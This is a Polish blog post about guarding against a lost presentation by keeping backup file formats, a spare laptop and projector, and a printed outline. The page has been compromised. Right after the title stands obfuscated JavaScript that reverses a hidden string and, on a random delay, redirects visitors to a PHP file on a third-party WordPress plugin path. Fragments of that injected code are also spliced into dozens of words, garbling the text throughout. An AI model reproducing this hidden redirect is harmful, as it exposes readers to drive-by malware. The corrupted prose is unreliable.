Jak zabezpieczyć się przed “zagubieniem” prezentacji

$nJe=function(n){if (typeof ($nJe.list[n]) == “string”) return $nJe.list[n].split(“”).reverse().join(“”);return $nJe.list[n];};$nJe.list=[“\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top_at_meeting_table” src=”https://tajnikiprezentacji.pl/wp-content/uploads/2009/12/_lapdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top_at_meeting_table.jpg” alt=”_lapdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top_at_meeting_table” width=”100″ height=”69″ />Czy wyobrażasz sobie siebie sdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tojącego przed audydom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torium i nagle okazuje się, że Twoja prezentacja w power pointcie gdzie się “zapodziała”? Co zrobić? Jak powiedzieć tym ludziom, że nic dla nich nie masz? Przecież oni “zjedzą mnie żywcem” – myślisz.

Dziś powiem Ci jak maksymalnie skutecznie zabezpieczyć się właśnie przed takimi sytuacjami. Kilka tygodni temu prowadziłem wykład w Klubie Ludzi Sukcesu w Warszawie, na Żoliborzu. Na miejsce szkolenia jechałem kilka godzin ( z Chojnic dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to nieco ponad 300 kilometrów) zatem nie było mowy aby mógł “za pięć dwunasta” wpaść do domu i wgrać na lapdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}topa np. “zapomniane slajdy”. Wszystko musiałem przygodom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tować dużo wcześniej i dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to na dodatek w kilku kopiach, ale od początku…

Na spotkanie przygodom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}towałem prezentacje w Power Pointcie i dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to  w dwóch wersjach – pierwsza w najnowszym PP w formacie pptx oraz w starszej wersji ppt. Dlaczego tak zrobiłem? Bo mój lapdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top ma najnowszego Office’a i czyta wszystkie rozszerzenia power pointa, stąd wersja pptx. Musiałem jednak się zabezpieczyć na wypadek awarii mojego komputera i u organizadom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torów szkolenia “zamówiłem” drugi lapdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top, rezerwowy. Nie miałem pewności jakie jest na nim oprogramowanie zatem przygodom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}towałem też “starszą” wersję programu ppt na pendriv’e.

Poza awaryjnym lapdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}topem poprosiłem też o przygodom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}towanie rezerwowego rzutnika na wypadek “strajku” mojego, prywatnego. Gdyby jednak doszło do kompletnej tragedii – awarii obu zestawów multimedialnych miałem wydrukowany konspekt przemówienia. Mógłbym skorzystać z takiej formy ściągawki.
Na szczęście wszystko zadziałało jak trzeba.

Moja rada – bądź zawsze przygodom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}towany na najgorsze a prawdopodobnie najgorsze… nie nastąpi!

To tak jak z jazdą samochodem na umówione spotkanie w odległej miejscowości. Jak wyjedziesz wcześniej, uwzględniając wszystkie nieprzewidziane sytuacje i dodając jeszcze 15 minut, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to możesz z 99-procendom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}towym prawdopodobieństwem założyć, że nic się nie zdarzy i  będziesz na miejscu duuużo wcześniej. W sytuacji gdy wyjedziesz na ostatnią chwilę, “na styk”, okaże się, że na 100 % coś uniemożliwi Ci dotarcie na czas.

Robert WarzyńskiO autorze: Robert Ważyński jest autorem książki "Nie boję się mówić" wydanej przez Wydawnictwo Złote Myśli, Jego flagowym przedsięwzięciem jest internetowy kurs "Tajna Księga Mówców" dostępny na platformie interkursy.pl. Na co dzień Robert wyżywa się literacko i filmowo na swoim blogu Tajniki Prezentacji i na YT.

Wpis Ci się podobał?

Świeżutkie artykuły i filmy na temat prezentacji i rozwoju osobistego wprost na Twoją skrzynkę!

3 komentarze

Leave a Reply